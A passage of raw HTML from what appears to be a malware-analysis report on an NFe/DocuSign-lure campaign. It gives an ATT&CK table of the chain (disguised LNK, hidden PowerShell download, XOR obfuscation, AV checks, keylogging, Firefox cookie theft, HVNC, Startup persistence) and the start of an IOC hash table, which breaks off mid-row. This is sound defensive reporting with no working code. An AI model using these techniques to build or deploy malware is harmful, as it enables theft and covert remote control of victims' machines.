ATT&amp;CK Mapping<\/h2>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-375\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"4\"\n           data-rows=\"20\"\n           data-wpID=\"375\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Tactic\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Technique ID\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Technique Name\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"D1\"\n                    data-col-index=\"3\"\n                    data-row-index=\"0\"\n                    style=\" width:25%;                    padding:10px;\n                    \"\n                    >\n                                        Evidence\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Reconnaissance\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1592 (env. fingerprint, page-level)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Gather Victim Host Information\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D2\"\n                    data-col-index=\"3\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Lure page's silent telemetry beacon (UA, resolution,\u00a0timezone) sent before payload release\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Initial Access\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1566.002\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Phishing:\u00a0Spearphishing\u00a0Link\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D3\"\n                    data-col-index=\"3\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Fake\u00a0DocuSign\u00a0\/\u00a0NFe\u00a0delivery-notice page as the entry vector\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Defense\u00a0Evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1027\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Obfuscated Files or Information\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D4\"\n                    data-col-index=\"3\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ZIP-in-disguise, MIME override, nested single-byte XOR string obfuscation with context-specific keys\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Defense\u00a0Evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1036.005\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Masquerading: Match Legitimate Name or Location\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D5\"\n                    data-col-index=\"3\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        LNK icon spoofed to notepad.exe; UpdateAssistant.exe\u00a0VersionInfo\u00a0claims Microsoft Corporation while unsigned; DLL bundle mimics a real software installer\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Defense\u00a0Evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1622 \/ anti-automation (no direct ATT&CK ID)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Debugger\/Environment Evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D6\"\n                    data-col-index=\"3\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        navigator.webdriver\u00a0\/ headless-browser checks; human-interaction gating before payload release\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Defense\u00a0Evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1518.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Security Software Discovery\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D7\"\n                    data-col-index=\"3\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        20+ hardcoded AV\/EDR process names, checked via Toolhelp32 snapshot\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Execution\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1204.002\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        User Execution: Malicious File\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D8\"\n                    data-col-index=\"3\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Victim double-clicks the disguised .lnk\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Execution\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1059.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and Scripting Interpreter: PowerShell\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D9\"\n                    data-col-index=\"3\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hidden, execution-policy-bypassed PowerShell one-liner\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and Control\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1105\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Ingress Tool Transfer\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D10\"\n                    data-col-index=\"3\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        PowerShell Invoke-WebRequest\u00a0pulling the NSIS loader from the Azure staging host\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and Control\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1573 (custom config, not full-channel encryption)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Encrypted\/Obfuscated Configuration\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D11\"\n                    data-col-index=\"3\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        XOR-protected C2 host string embedded in the final payload\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A12\"\n                    data-col-index=\"0\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and Control\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B12\"\n                    data-col-index=\"1\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1571\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C12\"\n                    data-col-index=\"2\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Non-Standard Port\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D12\"\n                    data-col-index=\"3\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Raw TCP C2 on port 27015 (Source-engine game port), not HTTP\/HTTPS\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A13\"\n                    data-col-index=\"0\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and Control\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B13\"\n                    data-col-index=\"1\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1095\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C13\"\n                    data-col-index=\"2\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Non-Application Layer Protocol\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D13\"\n                    data-col-index=\"3\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Custom raw-TCP protocol rather than HTTP\/WebSocket\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A14\"\n                    data-col-index=\"0\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Collection\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B14\"\n                    data-col-index=\"1\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1113\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C14\"\n                    data-col-index=\"2\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Screen Capture\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D14\"\n                    data-col-index=\"3\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        GDI\u00a0BitBlt\/GetDIBits\u00a0+ OpenCV-backed frame queue\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A15\"\n                    data-col-index=\"0\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Collection\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B15\"\n                    data-col-index=\"1\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1056.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C15\"\n                    data-col-index=\"2\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Input Capture: Keylogging\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D15\"\n                    data-col-index=\"3\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        GetAsyncKeyState\/GetKeyboardState\u00a0polling imports\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A16\"\n                    data-col-index=\"0\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Collection\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B16\"\n                    data-col-index=\"1\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1539\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C16\"\n                    data-col-index=\"2\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Steal Web Session Cookie\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D16\"\n                    data-col-index=\"3\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hardcoded targeting of Firefox\u00a0cookies.sqlite\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A17\"\n                    data-col-index=\"0\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Collection\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B17\"\n                    data-col-index=\"1\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1217\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C17\"\n                    data-col-index=\"2\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Browser Information Discovery\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D17\"\n                    data-col-index=\"3\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hardcoded targeting of Firefox\u00a0places.sqlite\u00a0\/\u00a0permissions.sqlite\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A18\"\n                    data-col-index=\"0\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and Control \/ Impact\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B18\"\n                    data-col-index=\"1\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1219 (closest analogue)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C18\"\n                    data-col-index=\"2\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Remote Access Software (custom HVNC)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D18\"\n                    data-col-index=\"3\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hidden-desktop +\u00a0SendInput\u00a0architecture functioning as an unauthorized remote-access channel\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A19\"\n                    data-col-index=\"0\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Persistence\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B19\"\n                    data-col-index=\"1\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1547.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C19\"\n                    data-col-index=\"2\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Boot or Logon\u00a0Autostart\u00a0Execution: Startup Folder\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D19\"\n                    data-col-index=\"3\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AppUpdateHelper.lnk\u00a0dropped into the current user's Start Menu \\ Programs \\ Startup folder, pointing to a self-relocated payload copy (confirmed dynamically, Section 8.5.3)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A20\"\n                    data-col-index=\"0\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Defense\u00a0Evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B20\"\n                    data-col-index=\"1\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1036.005 (persistence-stage recurrence)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C20\"\n                    data-col-index=\"2\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Masquerading: Match Legitimate Name or Location\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"D20\"\n                    data-col-index=\"3\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Relocated persistence copy renamed to AppUpdateHelper.exe, matching the mutex-name convention\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-375'>\ntable#wpdtSimpleTable-375{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-375 td, table.wpdtSimpleTable375 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<h2 class=\"wp-block-heading\">Indicators of Compromise<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">File Hashes:<\/p>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-376\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"11\"\n           data-wpID=\"376\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Stage\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Filename\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        SHA-256\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        2 - ZIP dropper (build 1, Samsung decoy)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        DANFE_SAMSUNG_ELET_AM_CNPJ...zip \/ .nfe\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        e4d637f884f5babea6525266e1cb6ab332a16a446d6084dd51b4222540c1f16c\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        2 - ZIP dropper (build 2, Motorola decoy)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        MOTOROLA_MOB_COM_NFe_2026-07-16_217816240.zip\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        97f35ba586fc121590c867b4d6707777fbeca2ace5ad077807ec806540bb47cd\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        2 - LNK dropper (build 2, in-archive)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        NF_Eletronica999147237654.lnk\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C4\"\n                    data-col-index=\"2\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Not independently hashed -\u00a0identified\u00a0via ZIP CRC32 0x3F6F7598 (compressed 1,059 B \/ uncompressed 2,752 B)\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        4 - Final payload (build 1, statically\u00a0analyzed)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        UpdateAssistant.exe\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C5\"\n                    data-col-index=\"2\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        5fbfc7929858c3c3d79637db857525695db3c0f41b9bf2a7b964c26b7226bde3\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        4 - Final payload (build 2, dynamically captured)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        UpdateAssistant.exe \/ AppUpdateHelper.exe (post-persistence copy)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        debf48e690abd4288e5f76fa7e9f98a9fb3411171eba82906ef0d2bf1ef2dd6d\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        4 - Persistence shortcut (build 2)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AppUpdateHelper.lnk\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        25db85830d86cafbb93a660242f8b4017273cc4612e94dd7a8af29c948651bbe\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        3 - Cover DLL: vcruntime140.dll (build 2,\u00a0relocated\u00a0copy)\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        